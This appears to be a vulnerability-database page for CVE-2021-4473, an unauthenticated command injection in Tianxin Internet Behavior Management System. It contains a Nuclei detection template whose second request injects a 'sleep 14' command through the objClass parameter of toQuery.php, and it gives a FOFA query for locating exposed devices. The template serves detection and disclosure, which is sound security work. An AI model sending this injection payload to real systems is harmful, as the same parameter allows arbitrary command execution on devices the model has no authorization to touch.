CVE-2021-4473: Tianxin Internet Behavior Management System - Command Injection

2026-11-29 PoC Public

Description

Tianxin Internet Behavior Management System contains a command injection caused by crafted objClass parameter in Reporter component endpoint, letting unauthenticated attackers execute arbitrary commands and write malicious PHP files, exploit requires no authentication.

Details

CVE
CVE-2021-4473 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2021-4473

info:
  name: Tianxin Internet Behavior Management System - Command Injection
  author: 0x_Akoko
  severity: critical
  description: |
    Tianxin Internet Behavior Management System contains a command injection caused by crafted objClass parameter in Reporter component endpoint, letting unauthenticated attackers execute arbitrary commands and write malicious PHP files, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can execute arbitrary commands and achieve remote code execution with web server privileges.
  remediation: |
    Update to version NACFirmware_4.0.0.7_20210716.180815_topsec_0_basic.bin or later.
  reference:
    - https://cn-sec.com/archives/4631959.html
    - https://www.vulncheck.com/advisories/tianxin-internet-behavior-management-system-command-injection-via-toquery-php
    - https://www.cnvd.org.cn/flaw/show/CNVD-2021-41972
    - https://avd.aliyun.com/detail?id=AVD-2021-890232
    - https://nvd.nist.gov/vuln/detail/CVE-2021-4473
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-4473
    epss-score: 0.20144
    epss-percentile: 0.98005
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 2
    vendor: topsecgroup
    product: tianxin_internet_behavior_management_system
    fofa-query: app="天融信-上网行为管理系统"
  tags: cve,cve2021,topsec,tianxin,reporter,rce,injection,unauth,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Login @ Reporter", "/images/reporter.ico", "/style/common.css")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 30s
        GET /view/Behavior/toQuery.php?method=getList&objClass=%0asleep%2014%0a HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'duration >= 14'
        condition: and
# digest: 4a0a00473045022100a59afe4bca4f63e9cbd9a80a569d31cd1b31f1c903703e93f06409bdf51a9168022027531c0e4c288e9c61ba1aa1569158d8c10cc8205f6989299bf28c5d8e5f74bd:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life